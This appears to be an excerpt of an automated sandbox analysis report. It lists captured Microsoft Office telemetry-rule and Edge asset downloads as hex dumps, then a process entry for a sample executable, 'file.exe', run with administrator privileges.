zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.7	49917	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:46 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:46 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:46 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: cfc1385c-801e-0083-58d2-37f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075546Z-16547b76f7fwcwmrhC1DFWtp0400000001c0000000008ytw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:46 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.7	49918	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:46 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:46 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:46 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: d7b14c3d-501e-0047-0581-37ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075546Z-1866b5c5fbbvz6qbhC1DFWsyms00000004m000000000fg9y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:46 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.7	49915	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:46 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:46 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:46 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 4f7b6165-401e-0078-36c3-374d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075546Z-1866b5c5fbbx98hfhC1DFWuqmg0000000490000000006084 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:46 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.7	49916	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:46 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:46 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:46 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 902a0e4e-401e-000a-237c-374a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075546Z-164f84587bfghdt4hC1DFWu5nn000000055g00000000k22e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:46 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.7	49919	13.107.246.57	443	7100	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:46 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 07:55:46 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:46 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 6a33a039-b01e-0018-1848-394592000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241118T075546Z-1866b5c5fbb2ngs6hC1DFW402w00000003s00000000067gq Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 07:55:46 UTC	15800	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-18 07:55:46 UTC	16384	IN	Data Raw: a5 38 7d a8 02 c7 0a 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 Data Ascii: 8}u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5Qa
2024-11-18 07:55:46 UTC	16384	IN	Data Raw: 56 c6 75 11 82 12 e0 b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 Data Ascii: Vu,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35Q
2024-11-18 07:55:46 UTC	16384	IN	Data Raw: 15 3e 36 a4 6a 67 7e 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 Data Ascii: >6jg~B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M
2024-11-18 07:55:46 UTC	16384	IN	Data Raw: e5 2e b7 93 a4 b3 90 c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 Data Ascii: .kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~C
2024-11-18 07:55:46 UTC	16384	IN	Data Raw: df 26 b7 09 e8 f5 8c 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c Data Ascii: &{M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l
2024-11-18 07:55:46 UTC	16384	IN	Data Raw: c0 77 d7 f0 0b 75 ef b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e Data Ascii: wuO n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>
2024-11-18 07:55:46 UTC	16384	IN	Data Raw: 8f 67 d5 e8 e4 34 eb e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 Data Ascii: g4,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-18 07:55:46 UTC	16384	IN	Data Raw: c8 b1 0e c3 45 a4 cf 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 Data Ascii: E4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vH
2024-11-18 07:55:46 UTC	16384	IN	Data Raw: 94 22 1e 7d b0 6a 95 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 Data Ascii: "}jVG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.7	49920	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:46 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:46 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:46 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: a62daa21-301e-0096-7fca-36e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075546Z-164f84587bfghdt4hC1DFWu5nn000000058000000000b0va x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:46 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Target ID:	1
Start time:	02:55:15
Start date:	18/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xaa0000
File size:	1'833'472 bytes
MD5 hash:	BED918183C456251EB2DEF949E77E958
Has elevated privileges:	true
Has administrator privileges:	true
